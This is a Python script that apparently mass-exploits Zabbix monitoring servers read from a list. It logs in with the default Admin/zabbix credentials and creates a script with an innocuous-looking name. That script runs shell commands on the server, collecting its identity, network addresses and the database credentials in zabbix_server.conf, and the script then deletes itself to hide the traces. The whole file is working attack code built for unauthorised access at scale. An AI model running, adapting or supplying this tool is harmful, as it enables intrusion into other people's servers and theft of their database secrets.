import asyncio
import json
import sys

import aiohttp

UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/131.0"}
CMD = ("id; hostname; grep PRETTY_NAME /etc/os-release; ip -4 -o addr show | awk '{print $2, $4}'; "
       "grep -E '^(DBHost|DBName|DBUser|DBPassword)=' /etc/zabbix/zabbix_server.conf 2>/dev/null")
NAME = "_chk_sysinfo"


async def rpc(sess, url, method, params, tok=None, bearer=False):
    body = {"jsonrpc": "2.0", "method": method, "params": params, "id": 1}
    hdr = {}
    if tok:
        if bearer:
            hdr["Authorization"] = "Bearer " + tok
        else:
            body["auth"] = tok
    async with sess.post(url, json=body, headers=hdr, ssl=False) as r:
        txt = await r.content.read(4000000)
        try:
            return json.loads(txt)
        except Exception:
            return {"_raw": txt[:200].decode("utf-8", "replace"), "_http": r.status}


async def call(sess, url, method, params, tok, bearer):
    j = await rpc(sess, url, method, params, tok, bearer)
    if "error" in j or "_http" in j or "_raw" in j:
        j2 = await rpc(sess, url, method, params, tok, not bearer)
        if "error" not in j2 and "_http" not in j2 and "_raw" not in j2:
            return j2
    return j


async def one(sess, sem, ip, port, path, ver):
    scheme = "https" if port == "443" else "http"
    url = "%s://%s:%s%sapi_jsonrpc.php" % (scheme, ip, port, path)
    bearer = ver[:1] in "78"
    tag = "%s:%s%s" % (ip, port, path)
    try:
        async with sem:
            j = await rpc(sess, url, "user.login", {"username": "Admin", "password": "zabbix"})
            tok = j.get("result")
            if not isinstance(tok, str):
                return "%s login failed %s" % (tag, str(j)[:80])
            j = await call(sess, url, "host.get", {"output": ["hostid", "host"],
                                                   "search": {"host": "Zabbix server"}, "limit": 10},
                           tok, bearer)
            hosts = j.get("result") or []
            if not isinstance(hosts, list) or not hosts:
                j = await call(sess, url, "host.get", {"output": ["hostid", "host"], "limit": 5}, tok, bearer)
                hosts = j.get("result") or []
            if not isinstance(hosts, list) or not hosts:
                return "%s no hosts %s" % (tag, str(j)[:80])
            target = next((h for h in hosts if h.get("host") == "Zabbix server"), hosts[0])
            # drop leftovers from earlier runs
            j = await call(sess, url, "script.get", {"output": ["scriptid", "name"],
                                                     "filter": {"name": NAME}}, tok, bearer)
            for s in (j.get("result") or []):
                await call(sess, url, "script.delete", [s["scriptid"]], tok, bearer)
            base = {"name": NAME, "command": CMD, "scope": 2, "type": 0}
            if ver[:1] in "78":
                base["timeout"] = "30s"
            j, val = None, None
            for eo in (1, 0):
                params = dict(base)
                params["execute_on"] = eo
                j = await call(sess, url, "script.create", params, tok, bearer)
                sid = (j.get("result") or {}).get("scriptids", [None])[0] if "result" in j else None
                if not sid:
                    if "execute_on" in json.dumps(j):
                        continue
                    return "%s script.create failed %s" % (tag, json.dumps(j)[:150])
                j = await call(sess, url, "script.execute", {"scriptid": sid, "hostid": target["hostid"]},
                               tok, bearer)
                await call(sess, url, "script.delete", [sid], tok, bearer)
                val = (j.get("result") or {}).get("value") if isinstance(j.get("result"), dict) else None
                if not val and isinstance(j.get("error"), dict) and "uid=" in str(j["error"].get("data", "")):
                    val = j["error"]["data"]
                if isinstance(val, str) and "uid=" in val:
                    break
            if not isinstance(val, str):
                return "%s host=%s NOVALUE %s" % (tag, target.get("host"), json.dumps(j)[:200])
            f = [x.strip() for x in val.split("\n")]
            uid = f[0] if f else ""
            host = f[1] if len(f) > 1 else ""
            osr = ""
            ips = []
            db = ""
            for x in f[2:]:
                if x.startswith("PRETTY_NAME"):
                    osr = x.split("=", 1)[-1].strip('"')
                elif x.startswith(("lo ", "eth", "ens", "enp")):
                    ips.append(x.split(" ")[-1])
                elif x.startswith("DB"):
                    db += x + ";"
            return "\t".join([tag, target.get("host", ""), uid, host, osr, ",".join(ips), "eo=%d" % eo, db])
    except Exception as e:
        return "%s ERR %s" % (tag, type(e).__name__)


async def main():
    rows = []
    for line in sys.stdin:
        f = line.rstrip("\n").split("\t")
        if len(f) >= 4 and f[3][:1].isdigit():
            rows.append((f[0], f[1], f[2], f[3]))
    sem = asyncio.Semaphore(6)
    to = aiohttp.ClientTimeout(total=45, connect=6, sock_read=40)
    async with aiohttp.ClientSession(timeout=to, headers=UA,
                                     connector=aiohttp.TCPConnector(limit=0, ssl=False)) as s:
        for r in rows:
            print(await one(s, sem, *r), flush=True)


asyncio.run(main())
